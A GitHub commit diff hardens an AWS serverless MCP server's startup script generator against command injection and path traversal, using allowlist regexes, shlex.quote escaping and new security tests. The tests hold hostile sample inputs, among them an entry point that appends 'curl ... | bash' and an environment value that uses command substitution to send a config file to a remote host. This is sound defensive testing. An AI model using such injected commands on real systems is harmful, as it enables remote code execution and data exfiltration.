Skip to content

Commit d6ebd58

Browse files
author
Vandita Patidar
committed
input validation for startup script generator parameters
1 parent f0c2999 commit d6ebd58

File tree

2 files changed

+230
-24
lines changed

2 files changed

+230
-24
lines changed

src/aws-serverless-mcp-server/awslabs/aws_serverless_mcp_server/tools/webapps/utils/startup_script_generator.py

Lines changed: 66 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,8 @@
1919
"""
2020

2121
import os
22+
import re
23+
import shlex
2224
import stat
2325
from loguru import logger
2426
from typing import Dict, Optional
@@ -68,10 +70,24 @@ async def generate_startup_script(
6870
"""
6971
startup_script_name = startup_script_name or get_default_startup_script_name(runtime)
7072
script_path = os.path.join(built_artifacts_path, startup_script_name)
71-
entry_point_path = os.path.join(built_artifacts_path, entry_point)
7273

7374
logger.info(f'Generating startup script for runtime: {runtime}, entry point: {entry_point}')
7475

76+
# Validate entry_point BEFORE checking file existence
77+
validate_entry_point(entry_point)
78+
79+
# Validate environment variables if provided
80+
if additional_env:
81+
validate_environment_variables(additional_env)
82+
83+
# Check for path traversal attacks
84+
entry_point_path = os.path.join(built_artifacts_path, entry_point)
85+
resolved_entry_point = os.path.realpath(entry_point_path)
86+
resolved_artifacts_path = os.path.realpath(built_artifacts_path)
87+
88+
if not resolved_entry_point.startswith(resolved_artifacts_path + os.sep):
89+
raise ValueError('Path traversal detected: entry_point resolves outside built_artifacts_path')
90+
7591
# Check if entry point exists
7692
if not os.path.exists(entry_point_path):
7793
error = EntryPointNotFoundError(entry_point, built_artifacts_path)
@@ -121,6 +137,39 @@ def get_default_startup_script_name(runtime: str) -> str:
121137
return 'bootstrap'
122138

123139

140+
def validate_entry_point(entry_point: str) -> None:
141+
"""Validate entry point against allowlist regex to prevent command injection.
142+
143+
Args:
144+
entry_point: Application entry point to validate
145+
146+
Raises:
147+
InvalidEntryPointError: If entry point contains invalid characters
148+
"""
149+
# Allowlist: only alphanumeric, dots, underscores, hyphens, and forward slashes
150+
if not re.match(r'^[a-zA-Z0-9._/-]+$', entry_point):
151+
raise ValueError('Entry point contains invalid characters. Only alphanumeric characters, dots, underscores, hyphens, and forward slashes are allowed.')
152+
153+
154+
def validate_environment_variables(additional_env: Dict[str, str]) -> None:
155+
"""Validate environment variable keys and values.
156+
157+
Args:
158+
additional_env: Dictionary of environment variables to validate
159+
160+
Raises:
161+
InvalidEnvironmentVariableError: If any key or value is invalid
162+
"""
163+
for key, value in additional_env.items():
164+
# Environment variable keys should follow POSIX naming conventions
165+
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', key):
166+
raise ValueError('Environment variable key must start with a letter or underscore and contain only alphanumeric characters and underscores')
167+
168+
# Check for null bytes in values which can cause issues
169+
if '\0' in value:
170+
raise ValueError('Environment variable value contains null bytes')
171+
172+
124173
def generate_script_content(
125174
runtime: str, entry_point: str, additional_env: Optional[Dict[str, str]] = None
126175
) -> str:
@@ -132,25 +181,30 @@ def generate_script_content(
132181
additional_env: Additional environment variables
133182
134183
Returns:
135-
str: Script content
184+
str: Script content with properly escaped values
136185
"""
137-
# Generate environment variables setup
186+
# Sanitize entry_point to prevent command injection
187+
safe_entry_point = shlex.quote(entry_point)
188+
189+
# Generate environment variables setup with proper escaping
138190
env_setup = ''
139191
if additional_env:
140192
env_vars = []
141193
for key, value in additional_env.items():
142-
env_vars.append(f'export {key}="{value}"')
194+
# Key is already validated, but value needs escaping
195+
safe_value = shlex.quote(value)
196+
env_vars.append(f'export {key}={safe_value}')
143197
env_setup = '\n'.join(env_vars) + '\n\n'
144198

145199
if runtime.startswith('nodejs'):
146200
return f"""#!/bin/bash
147201
{env_setup}# Start the application
148-
exec node {entry_point}
202+
exec node {safe_entry_point}
149203
"""
150204
elif runtime.startswith('python'):
151205
return f"""#!/bin/bash
152206
{env_setup}# Start the application
153-
exec python {entry_point}
207+
exec python {safe_entry_point}
154208
"""
155209
elif runtime.startswith('java'):
156210
# Determine if it's a JAR file or a class
@@ -159,31 +213,31 @@ def generate_script_content(
159213
if is_jar:
160214
return f"""#!/bin/bash
161215
{env_setup}# Start the application
162-
exec java -jar {entry_point}
216+
exec java -jar {safe_entry_point}
163217
"""
164218
else:
165219
return f"""#!/bin/bash
166220
{env_setup}# Start the application
167-
exec java {entry_point}
221+
exec java {safe_entry_point}
168222
"""
169223
elif runtime.startswith('dotnet'):
170224
return f"""#!/bin/bash
171225
{env_setup}# Start the application
172-
exec dotnet {entry_point}
226+
exec dotnet {safe_entry_point}
173227
"""
174228
elif runtime.startswith('go'):
175229
return f"""#!/bin/bash
176230
{env_setup}# Start the application
177-
exec ./{entry_point}
231+
exec ./{safe_entry_point}
178232
"""
179233
elif runtime.startswith('ruby'):
180234
return f"""#!/bin/bash
181235
{env_setup}# Start the application
182-
exec ruby {entry_point}
236+
exec ruby {safe_entry_point}
183237
"""
184238
else:
185239
# Generic script for unknown runtimes
186240
return f"""#!/bin/bash
187241
{env_setup}# Start the application
188-
exec {entry_point}
242+
exec {safe_entry_point}
189243
"""

src/aws-serverless-mcp-server/tests/test_startup_script_generator.py

Lines changed: 164 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -74,8 +74,8 @@ def test_generate_script_content_nodejs_with_env(self):
7474
result = generate_script_content(runtime, entry_point, additional_env)
7575

7676
expected = """#!/bin/bash
77-
export NODE_ENV="production"
78-
export PORT="3000"
77+
export NODE_ENV=production
78+
export PORT=3000
7979
8080
# Start the application
8181
exec node server.js
@@ -104,8 +104,8 @@ def test_generate_script_content_python_with_env(self):
104104
result = generate_script_content(runtime, entry_point, additional_env)
105105

106106
expected = """#!/bin/bash
107-
export PYTHONPATH="/app"
108-
export DEBUG="true"
107+
export PYTHONPATH=/app
108+
export DEBUG=true
109109
110110
# Start the application
111111
exec python main.py
@@ -274,10 +274,10 @@ async def test_generate_startup_script_with_env_vars(self):
274274

275275
assert result == 'bootstrap'
276276

277-
# Verify script content includes environment variables
277+
# Verify script content includes environment variables (shlex.quote format)
278278
written_content = ''.join(call.args[0] for call in mock_file().write.call_args_list)
279-
assert 'export NODE_ENV="production"' in written_content
280-
assert 'export PORT="8080"' in written_content
279+
assert 'export NODE_ENV=production' in written_content
280+
assert 'export PORT=8080' in written_content
281281

282282
@pytest.mark.asyncio
283283
async def test_generate_startup_script_entry_point_not_found(self):
@@ -369,11 +369,11 @@ def test_generate_script_content_environment_variable_escaping(self):
369369

370370
result = generate_script_content(runtime, entry_point, additional_env)
371371

372-
# All values should be wrapped in double quotes
373-
assert 'export SIMPLE_VAR="value"' in result
374-
assert 'export VAR_WITH_QUOTES="value with "quotes""' in result
375-
assert 'export VAR_WITH_SPACES="value with spaces"' in result
376-
assert 'export VAR_WITH_SPECIAL="value$with&special*chars"' in result
372+
# shlex.quote() wraps simple values without quotes, and complex values in single quotes
373+
assert 'export SIMPLE_VAR=value' in result
374+
assert "export VAR_WITH_QUOTES='value with \"quotes\"'" in result
375+
assert "export VAR_WITH_SPACES='value with spaces'" in result
376+
assert "export VAR_WITH_SPECIAL='value$with&special*chars'" in result
377377

378378
@pytest.mark.asyncio
379379
async def test_generate_startup_script_file_write_error(self):
@@ -408,3 +408,155 @@ async def test_generate_startup_script_chmod_error(self):
408408
):
409409
with pytest.raises(OSError, match='Permission denied'):
410410
await generate_startup_script(runtime, entry_point, built_artifacts_path)
411+
412+
"""Security tests for command injection vulnerabilities."""
413+
414+
@pytest.mark.asyncio
415+
async def test_entry_point_command_injection_blocked(self):
416+
"""Test that entry_point with command injection attempts is rejected."""
417+
runtime = 'nodejs18.x'
418+
entry_point = 'app.js; curl http://example.com/script.sh | bash'
419+
built_artifacts_path = '/dir/artifacts'
420+
421+
with patch('os.path.exists', return_value=True):
422+
with pytest.raises(ValueError, match='Entry point contains invalid characters'):
423+
await generate_startup_script(runtime, entry_point, built_artifacts_path)
424+
425+
@pytest.mark.asyncio
426+
async def test_entry_point_path_traversal_blocked(self):
427+
"""Test that path traversal in entry_point is rejected."""
428+
runtime = 'nodejs18.x'
429+
entry_point = '../../../system/config'
430+
built_artifacts_path = '/dir/artifacts'
431+
432+
with patch('os.path.exists', return_value=True):
433+
with pytest.raises(ValueError, match='(Entry point contains invalid characters|Path traversal detected)'):
434+
await generate_startup_script(runtime, entry_point, built_artifacts_path)
435+
436+
@pytest.mark.asyncio
437+
async def test_env_variable_command_substitution_escaped(self):
438+
"""Test that command substitution in environment variables is properly escaped."""
439+
runtime = 'nodejs18.x'
440+
entry_point = 'app.js'
441+
built_artifacts_path = '/dir/artifacts'
442+
additional_env = {
443+
'DB_URL': '$(curl example.com/data?query=$(cat /path/to/config))'
444+
}
445+
446+
mock_file = mock_open()
447+
mock_stat_result = MagicMock()
448+
mock_stat_result.st_mode = 0o644
449+
450+
with (
451+
patch('os.path.exists', return_value=True),
452+
patch('os.path.realpath', side_effect=lambda x: x),
453+
patch('builtins.open', mock_file),
454+
patch('os.stat', return_value=mock_stat_result),
455+
patch('os.chmod'),
456+
):
457+
await generate_startup_script(
458+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
459+
)
460+
461+
written_content = ''.join(call.args[0] for call in mock_file().write.call_args_list)
462+
# Single quotes prevent command substitution in bash
463+
assert "'$(curl example.com/data?query=$(cat /path/to/config))'" in written_content
464+
# Ensure it's not in double quotes (which would allow execution)
465+
assert '"$(curl example.com/data?query=$(cat /path/to/config))"' not in written_content
466+
467+
@pytest.mark.asyncio
468+
async def test_env_variable_invalid_key_rejected(self):
469+
"""Test that environment variable keys with invalid characters are rejected."""
470+
runtime = 'nodejs18.x'
471+
entry_point = 'app.js'
472+
built_artifacts_path = '/dir/artifacts'
473+
additional_env = {
474+
'INVALID-KEY': 'value' # Hyphens not allowed in POSIX env var names
475+
}
476+
477+
with (
478+
patch('os.path.exists', return_value=True),
479+
patch('os.path.realpath', side_effect=lambda x: x),
480+
):
481+
with pytest.raises(ValueError, match='Environment variable key must start with a letter'):
482+
await generate_startup_script(
483+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
484+
)
485+
486+
@pytest.mark.asyncio
487+
async def test_env_variable_null_byte_rejected(self):
488+
"""Test that environment variable values with null bytes are rejected."""
489+
runtime = 'nodejs18.x'
490+
entry_point = 'app.js'
491+
built_artifacts_path = '/dir/artifacts'
492+
additional_env = {
493+
'DB_URL': 'value\x00malicious'
494+
}
495+
496+
with (
497+
patch('os.path.exists', return_value=True),
498+
patch('os.path.realpath', side_effect=lambda x: x),
499+
):
500+
with pytest.raises(ValueError, match='Environment variable value contains null bytes'):
501+
await generate_startup_script(
502+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
503+
)
504+
505+
@pytest.mark.asyncio
506+
async def test_valid_entry_point_accepted(self):
507+
"""Test that valid entry_point values are accepted."""
508+
runtime = 'nodejs18.x'
509+
entry_points = [
510+
'app.js',
511+
'src/app.js',
512+
'dist/server.js',
513+
'app-server.js',
514+
'app_server.js',
515+
'./app.js',
516+
]
517+
built_artifacts_path = '/dir/artifacts'
518+
519+
mock_file = mock_open()
520+
mock_stat_result = MagicMock()
521+
mock_stat_result.st_mode = 0o644
522+
523+
for entry_point in entry_points:
524+
with (
525+
patch('os.path.exists', return_value=True),
526+
patch('builtins.open', mock_file),
527+
patch('os.stat', return_value=mock_stat_result),
528+
patch('os.chmod'),
529+
patch('os.path.realpath', side_effect=lambda x: x),
530+
):
531+
result = await generate_startup_script(runtime, entry_point, built_artifacts_path)
532+
assert result == 'bootstrap'
533+
534+
@pytest.mark.asyncio
535+
async def test_valid_env_variables_accepted(self):
536+
"""Test that valid environment variables are accepted."""
537+
runtime = 'nodejs18.x'
538+
entry_point = 'app.js'
539+
built_artifacts_path = '/dir/artifacts'
540+
additional_env = {
541+
'NODE_ENV': 'production',
542+
'PORT': '3000',
543+
'DB_HOST': 'localhost',
544+
'_PRIVATE_VAR': 'value',
545+
'VAR123': 'value',
546+
}
547+
548+
mock_file = mock_open()
549+
mock_stat_result = MagicMock()
550+
mock_stat_result.st_mode = 0o644
551+
552+
with (
553+
patch('os.path.exists', return_value=True),
554+
patch('os.path.realpath', side_effect=lambda x: x),
555+
patch('builtins.open', mock_file),
556+
patch('os.stat', return_value=mock_stat_result),
557+
patch('os.chmod'),
558+
):
559+
result = await generate_startup_script(
560+
runtime, entry_point, built_artifacts_path, additional_env=additional_env
561+
)
562+
assert result == 'bootstrap'

0 commit comments

Comments
 (0)